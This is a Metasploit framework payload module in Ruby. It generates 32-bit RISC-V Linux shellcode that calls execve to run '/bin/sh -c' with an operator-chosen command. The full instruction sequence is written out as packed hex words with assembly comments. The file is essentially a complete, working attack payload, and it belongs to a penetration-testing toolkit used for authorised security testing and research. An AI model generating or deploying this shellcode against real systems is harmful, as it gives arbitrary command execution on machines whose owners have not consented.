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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 96
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  include Msf::Payload::Single
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  include Msf::Payload::Linux
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  def initialize(info = {})
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    super(
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      merge_info(
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        info,
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        'Name' => 'Linux Execute Command',
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        'Description' => 'Execute an arbitrary command',
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        'Author' => [
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          'modexp', # cmd.s execve RISC-V 64-bit shellcode
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          'bcoles', # metasploit
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        ],
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        'License' => BSD_LICENSE,
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        'Platform' => 'linux',
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        'Arch' => ARCH_RISCV32LE,
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        'References' => [
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          ['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
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          ['URL', 'https://github.com/odzhan/shellcode/blob/master/os/linux/riscv64/cmd.s'],
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        ]
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      )
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    )
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    register_options([
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      OptString.new('CMD', [ true, 'The command string to execute' ]),
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    ])
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    datastore['CMD'] || ''
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  end
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  def generate(_opts = {})
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    shellcode =
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      [0xfe010113].pack('V*') +  # addi sp,sp,-32
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      [0x0dd00893].pack('V*') +  # li a7,221
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      [0x6e696537].pack('V*') +  # lui a0,0x6e696
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      [0x22f50513].pack('V*') +  # addi a0,a0,559 # 6e69622f <__global_pointer$+0x6e6848af>
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      [0x00a12023].pack('V*') +  # sw a0,0(sp)
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      [0x00687537].pack('V*') +  # lui a0,0x687
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      [0x32f50513].pack('V*') +  # addi a0,a0,815 # 68732f <__global_pointer$+0x6759af>
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      [0x00a12223].pack('V*') +  # sw a0,4(sp)
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      [0x00010513].pack('V*') +  # mv a0,sp
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      [0x000065b7].pack('V*') +  # lui a1,0x6
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      [0x32d58593].pack('V*') +  # addi a1,a1,813 # 632d <_start-0x9d27>
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      [0x00b12423].pack('V*') +  # sw a1,8(sp)
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      [0x00810593].pack('V*') +  # addi a1,sp,8
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      [0x00000617].pack('V*') +  # auipc a2,0x0
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      [0x02460613].pack('V*') +  # addi a2,a2,36 # 100ac <cmd>
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      [0x00a12623].pack('V*') +  # sw a0,12(sp)
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      [0x00b12823].pack('V*') +  # sw a1,16(sp)
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      [0x00c12a23].pack('V*') +  # sw a2,20(sp)
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      [0x00012c23].pack('V*') +  # sw zero,24(sp)
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      [0x00c10593].pack('V*') +  # addi a1,sp,12
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      [0x00000613].pack('V*') +  # li a2,0
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      [0x00000073].pack('V*') +  # ecall
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      command_string + "\x00"
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    # align our shellcode to 4 bytes
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    shellcode += "\x00" while shellcode.bytesize % 4 != 0
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    super.to_s + shellcode
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  end
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end
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